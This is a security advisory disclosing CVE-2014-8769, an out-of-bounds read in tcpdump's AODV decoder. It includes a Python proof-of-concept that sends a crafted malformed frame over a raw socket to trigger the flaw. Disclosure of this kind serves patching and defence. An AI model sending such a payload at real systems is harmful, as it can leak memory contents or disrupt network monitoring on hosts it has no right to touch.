CVE-2014-8769 tcpdump unreliable output using malformed AOVD payload

1. Background

tcpdump is a powerful command-line packet analyzer. It allows the user 
to intercept and display TCP/IP and other packets being transmitted or 
received over a network to which the computer is attached.

2. Summary Information

It was found out that malformed network traffic (AOVD-based) can lead to 
an abnormal behaviour if verbose output of tcpdump monitoring the 
network is used.

3. Technical Description

The application decoder for the Ad hoc On-Demand Distance Vector (AODV) 
protocol fails to perform input validation and performs unsafe 
out-of-bound accesses. The application will usually not crash, but 
perform out-of-bounds accesses and output/leak larger amounts of invalid 
data, which might lead to dropped packets. It is unknown if other 
payload exists that might trigger segfaults.

To reproduce start tcpdump on a network interface

sudo tcpdump -i lo -s 0 -n -v

(running the program with sudo might hide a possible segfault message on 
certain environments, see dmesg for details)

and use the following python program to generate a frame on the network 
(might also need sudo):

#!/usr/bin/env python
from socket import socket, AF_PACKET, SOCK_RAW
s = socket(AF_PACKET, SOCK_RAW)
s.bind(("lo", 0))

aovd_frame = 
"\x00\x00\x00\x00\x00\x00\x00\x00\x8c\x7a\xdf\x6f\x08\x00\x45\x00\xe6\x3d\xf3\x7f\x40\x00\x40\x11\x30\xc6\x0a\x01\x01\x68\x0a\x02\x02\x02\x02\x8e\x0d\x00\x4b\x00\x00\xe8\x12\x00\x00\x00\x00\x1f\xc6\x51\x35\x97\x00\x24\x8c\x7a\xdf\x6f\x08\x00\x45\x00\xe6\x3d\xf3\x7f\x40\x00\x40\x11\x30\xc6\x0a\x01\x01"

s.send(aovd_frame)

4. Affected versions

Affected versions are 3.8 through 4.6.2

5. Fix

The problem is fixed in the upcoming version tcpdump 4.7.0

6. Advisory Timeline

2014-11-08 Discovered
2014-11-09 Requested CVE
2014-11-11 Reported vendor by email
2014-11-12 Vendor made a fix available as repository patch
2014-11-13 CVE number received
2014-11-13 Published CVE advisory

7. Credit

The issue was found by

Steffen Bauch
Twitter: @steffenbauch
http://steffenbauch.de

using a slightly enhanced version of american fuzzy lop 
(https://code.google.com/p/american-fuzzy-lop/) created by Michal Zalewski.